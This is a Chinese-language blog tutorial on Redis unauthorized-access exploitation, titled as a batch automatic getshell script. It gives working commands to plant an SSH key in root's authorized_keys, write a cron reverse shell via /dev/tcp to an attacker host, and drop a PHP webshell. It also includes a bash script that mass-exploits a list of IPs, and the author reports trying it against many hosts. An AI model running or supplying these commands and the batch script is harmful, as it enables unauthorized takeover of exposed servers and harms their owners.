Redis未授权访问+批量自动getshell脚本
漏洞产生条件
- redis绑定在 0.0.0.0:6379,且没有对登录IP做限制,直接暴露在公网。
- 没有设置密码(默认为空)。
漏洞危害
- 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
- 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;
- 最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。
漏洞复现
下载安装:
https://redis.io/download
分别为稳定版和不稳定版本。
解压安装
tar -zxvf redis-6.0.8.tar.gz # 解压 gcc -v # 依赖于gcc apt install gcc cd redis-6.0.8 make # 编译安装 # 开始编译了几次都不成功,后面升级了gcc版本就一步到位了。
安装完毕后弹出结果不一样也无所有,只要redis-service, redis-cli文件存在即可。
cd src cp redis-server /usr/bin/ cp redis-cli /usr/bin/ cd … cp redis.conf /etc/ redis-server /etc/redis.conf # 使用/etc/目录下的redis.conf文件中的配置启动redis服务
验证漏洞
如果没有redis-客户端环境也可下载可视化客户端进行连接。连接密码为空,不过工具有点问题,时常连不上。
https://github.com/caoxinyu/RedisClient/releases/tag/2.0.0
GetShell
一: 公私钥认证获取root权限
- ssh免密配置
前提是受害者的机器上存在 /root/.ssh/ 目录。
- 攻击者生成ssh公私密钥
ssh-keygen -t rsa
# 一直回车即可
- 在攻击者机器上将密钥写入受害者机器
cd .ssh/ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > redistest.txt #将生成的公钥保存到redistest.txt cat redistest.txt | redis-cli -h 受害者ip -x set redistest #将保存ssh公钥的redistext.txt写入redis
5.登录受害者IP查看
redis-cli -h 受害ip config get dir config set dir /root/.ssh config set dbfilename authorized_keys save
- 进行ssh登录尝试
ssh -i id_rsa root@ip -p 22 # 需要root
二: 计划任务反弹shell
- 条件: redis以root身份运行
- 在服务器用nc监听
nc -lvvp 1234
2 .连接redis后写入shell
redis-cli -h 192.168.246.130 config set dir /var/spool/cron set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/1234 0>&1\n" config set dbfilename root save
三:绝对路径写webshell
- 条件: 知道网站绝对路径
config set dir /home/wwwroot/default/ config set dbfilename redis.php set shell "<?php phpinfo(); ?>" save
Shell脚本批量反弹
- 条件: 客户端上装了redis-cli
#!/bin/bash getshell(){ echo "-----分割线-----" redis-cli -h $i 2>&1 <<eeooff config get dir config set dir /var/spool/cron set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/1234 0>&1\n" config set dbfilename root save exit eeooff echo done! } ip=$IFSa if [ $# -ne 1 ];then echo "Usage $0 filename" exit fi if [ ! -f $1 ];then echo " $1 is not a file" exit fi if [ -f log.txt ];then echo "log.txt existing" `rm -f log.txt` fi IFS=$'\n' for i in `cat $1` do echo $i getshell >>log.txt #sleep 3s echo $i >> log.txt done
运行完后会生成一个log.txt文件。
未开放端口
不存在/var/spool/cron目录
save失败,一般是没权限
像这种的就是成功了
手工测试了好多ip,虽然存在未授权访问漏洞的有很多。但是能利用的很少,出现最多的就是权限不足。和目录不存在,只要有权限save就可以考虑别的方法getshell。
如果哪里有错误请指出改正